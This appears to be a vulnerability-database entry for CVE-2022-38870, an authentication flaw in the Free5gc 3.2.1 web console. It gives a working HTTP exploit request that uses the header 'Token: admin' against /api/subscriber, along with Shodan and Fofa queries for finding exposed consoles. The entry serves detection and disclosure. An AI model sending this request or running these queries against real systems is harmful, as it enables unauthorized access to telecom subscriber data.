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CVE-2022-38870: Free5gc 3.2.1 - Information Disclosure

TitleFree5gc 3.2.1 - Information Disclosure
AuthorFor3stCo1d
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could result in unauthorized access to sensitive information.
RemediationApply the latest patch or upgrade to a patched version of Free5gc 3.2.1 to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.86241
CVE IDCVE-2022-38870
CWE IDCWE-306
Shodan Queryhttp.title:"free5GC Web Console"http.title:"free5gc web console"
Fofa Querytitle="free5gc web console"
Tags cve cve2022 free5gc exposure vuln

🔍 Vulnerability Description

Free5gc 3.2.1 is susceptible to information disclosure. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /api/subscriber HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Token: admin
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38870.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-38870.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A